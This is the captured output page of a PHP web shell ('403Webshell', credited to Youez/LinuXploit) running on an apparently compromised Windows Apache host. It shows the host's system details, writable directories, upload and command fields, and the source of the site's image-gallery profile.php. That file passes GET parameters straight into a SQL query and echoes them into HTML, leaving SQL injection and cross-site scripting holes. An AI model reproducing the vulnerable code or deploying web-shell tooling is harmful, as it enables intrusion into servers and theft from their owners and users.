403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.48
Web Server : Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
System : Windows NT DESKTOP-3H4FHQJ 10.0 build 19045 (Windows 10) AMD64
User : win 10 ( 0)
PHP Version : 8.2.12
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  D:/crane_image/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : D:/crane_image/profile.php
<html>

<head>
<title>Best Images</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" type="text/css" href="main_css/profile.css" />
</head>

<body id="body">

<?php 
session_start();
//include('db_b.php'); 
include('db.php'); 
//include('function.php');
?>


<?php
if(isset($_GET['sel']))
{
 $dzi = $_GET['sel'];
  $pro = $_GET['pro'];
  $imi = $_GET['imi'];
}
?>
<input id="dzi" value="<?php echo $dzi; ?>" style="display:none;" />
<input id="dzi2" value="<?php echo $imi; ?>" style="display:none;" />
<input id="user_my_id" value="<?php echo $pro; ?>" style="display:none;" />

<div class="main_content_div" >

<!--div class="sub_content_div_pc"-->

<div id="zoomed_img_out" ondblclick="close_zoomed_img();" class="sub_content_div" >

</div><!--end of sub_content_div-->
<button onclick="go_back();" class="go_back_btn" >x</button>


<div class="more_option_img_div_pc" >

<div class="album_header_div_pc" >

<?php

     $studio_user ="select * from studio_usertb where my_id_studio='$pro' ";
	 $run_studio = mysqli_query($con,$studio_user);
	 while($row_studio = mysqli_fetch_array($run_studio))
	 {
		 $my_id_studio = $row_studio['my_id_studio'];
		 $channel_name = $row_studio['channel_name'];
		 $image_url = $row_studio['image_url'];
		 $channel_description = $row_studio['description'];
?>

<?php if($image_url == 'avatar2.jpg' ){ ?>
	   <img src="avatar_image/avatar2.jpg" class="user_div_img"  />
<?php }else{	?>
	  <img src="avatar_image/ <?php  echo $image_url	?>" class="user_div_img"  />
<?php  }	?>
<!--div class="user_div_img" ></div-->

<div class="user_div_name" ><?php echo $channel_name; ?></div>
<div class="img_view_div" ><span class="view_lebal">Views: </span><span id="img_view_output"></span></div>
<div class="channel_description" ><?php echo $channel_description; ?></div>

<?php } ?>

</div>

<div id="single_right_out" ></div>

</div>


<div class="download_div_pc">
<span class="downloads_lebal" >Downloads</span>
<span id="downloads_output" class="downloads_output"></span>
<button onclick="download_img();" class="downloads_btn">Download</button>

</div>

<!--/div><!--end of sub_content_div_mob-->


<!--div class="sub_content_div_mob"-->


<!--div id="zoomed_img_out_mob" class="sub_content_div" ></div><!--end of sub_content_div-->


<div class="album_header_div_mob">
<?php

     $studio_user ="select * from studio_usertb where my_id_studio='$pro' ";
	 $run_studio = mysqli_query($con,$studio_user);
	 while($row_studio = mysqli_fetch_array($run_studio))
	 {
		 $my_id_studio = $row_studio['my_id_studio'];
		 $channel_name = $row_studio['channel_name'];
		 $image_url = $row_studio['image_url'];
		 $channel_description = $row_studio['description'];
?>


<?php if($image_url == 'avatar2.jpg' ){ ?>
	   <img src="avatar_image/avatar2.jpg" class="user_div_img"  />
<?php }else{	?>
	  <img src="avatar_image/ <?php  echo $image_url	?>" class="user_div_img"  />
<?php  }	?>

<!--div class="user_div_img" ></div-->
<div class="user_div_name" ><?php echo $channel_name; ?></div>
<?php } ?>

<button idk="download_img_btn" onclick="download_img();" class="downloads_btn">Download</button>

</div>

<div class="download_div_mob">

<span class="downloads_lebal" >Downloads </span>
<span id="downloads_output_mob" class="downloads_output"></span>
<div class="img_view_div" ><span class="view_lebal">Views: </span><span id="img_view_output_mob"></span></div>

</div>

<div id="more_option_img_div_mob" class="more_option_img_div_mob">
<div id="single_right_out_mob" ></div>
</div>

<div class="channel_description_mob" ><?php echo $channel_description; ?></div>

<!--/div><!--end of sub_content_div_mob-->


</div><!--end of main_content_div-->

<input id="download_link_input" style="display:none;" valuek="<?php echo $post_img; ?>" />




<script>

 
load_conent();
function load_conent()
{ 
      dzi = document.getElementById('dzi').value;
	  dzi2 = document.getElementById('dzi2').value;
      document.getElementById('zoomed_img_out').innerHTML="";
	 // document.getElementById('zoomed_img_out_mob').innerHTML="";
	  document.getElementById('download_link_input').value="";
      var image_on =dzi;
      var showing_img = document.createElement('IMG');
	  showing_img.setAttribute("src","post_image/"+image_on);
	  showing_img.style="max-width:100%;max-height:80vh;";

	  document.getElementById('zoomed_img_out').appendChild(showing_img);
	 // document.getElementById('zoomed_img_out_mob').appendChild(showing_img);
	 // window.scrollTo(0,0);
      document.getElementById('zoomed_img_out').style="z-index:2;";
      document.getElementById('more_option_img_div_mob').style="z-index:1;";
	   document.getElementById('download_link_input').value=image_on;
	   document.getElementById('body').style="overflow: auto;";

      display_img_downl_conut(dzi2);
      display_img_view(dzi2);
	  /////////////////////////////part one/////////////////////
}

function go_back() {
  window.history.back();
}

disp_right_img();
function disp_right_img()
{
	   user_my_id = document.getElementById('user_my_id').value;
	//alert(user_my_id);
	   xmlhttp = new XMLHttpRequest();
	   xmlhttp.open("GET","auto_page.php?user_my_id="+user_my_id+"&&status=curr_image",false);
       xmlhttp.send(null);
	   document.getElementById('single_right_out').innerHTML =xmlhttp.responseText;	
	   document.getElementById('single_right_out_mob').innerHTML =xmlhttp.responseText;	

	   
	   coming_img = document.getElementById('coming_image').value;

}
 
function disp_zoomed_img(dzi)
{	   
      document.getElementById('zoomed_img_out').innerHTML="";
	 // document.getElementById('zoomed_img_out_mob').innerHTML="";
	  document.getElementById('download_link_input').value="";
      var image_on =dzi;
      var showing_img = document.createElement('IMG');
	  showing_img.setAttribute("src","post_image/"+image_on);
	  showing_img.style="max-width:100%;max-height:80vh;";

	  document.getElementById('zoomed_img_out').appendChild(showing_img);
	 // document.getElementById('zoomed_img_out_mob').appendChild(showing_img);
	 // window.scrollTo(0,0);
      document.getElementById('zoomed_img_out').style="z-index:2;";
      document.getElementById('more_option_img_div_mob').style="z-index:1;";
	   document.getElementById('download_link_input').value=image_on;
	   document.getElementById('body').style="overflow: auto;";
	  
//part two

}

function close_zoomed_img()
{
document.getElementById('zoomed_img_out').style="z-index:1;";
document.getElementById('more_option_img_div_mob').style="z-index:2;";
document.getElementById('body').style="overflow: hidden;";
//alert(55);
}

function download_img()
{
	download_link_input = document.getElementById('download_link_input').value;

	   const a = document.createElement("a");
       a.href = "post_image/"+download_link_input;
       a.download = "";
       document.body.appendChild(a);
       a.click();
       document.body.removeChild(a);
	   insert_img_download_count();
}

function show_img_id(sii)
{
  img_id = sii;
  display_img_downl_conut(img_id);
  insert_img_view(img_id);
  display_img_view(img_id);
}

function insert_img_download_count()
{
	id_img = img_id;
	my_id =1;
	//my_id = document.getElementById('my_id').value;
	//img_id = document.getElementById('img_id').value;
    xmlhttp = new XMLHttpRequest();
	xmlhttp.open("GET","auto_page.php?my_id="+my_id+"&&id_img="+id_img+"&&status=img_download_count_insert",false);
    xmlhttp.send(null);

}

function insert_img_view(iiv)
{
	id_img = iiv;
	my_id =1;
	xmlhttp = new XMLHttpRequest();
	 xmlhttp.open("GET","auto_page.php?my_id="+my_id+"&&id_img="+id_img+"&&status=img_view_insert",false);
     xmlhttp.send(null);

}

//display_img_downl_conut();
function display_img_downl_conut(didc)
{
    img_id = didc;
	
	xmlhttp = new XMLHttpRequest();
	xmlhttp.open("GET","auto_page.php?img_id="+img_id+"&&status=display_img_downl_conut",false);
    xmlhttp.send(null);
	document.getElementById('downloads_output').innerHTML =xmlhttp.responseText;	
	document.getElementById('downloads_output_mob').innerHTML =xmlhttp.responseText;
	
}

function display_img_view(div)
{
	img_id = div;

	xmlhttp = new XMLHttpRequest();
	xmlhttp.open("GET","auto_page.php?img_id="+img_id+"&&status=display_img_view",false);
    xmlhttp.send(null);
	document.getElementById('img_view_output').innerHTML =xmlhttp.responseText;	
	document.getElementById('img_view_output_mob').innerHTML =xmlhttp.responseText;	
}



</script>



</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit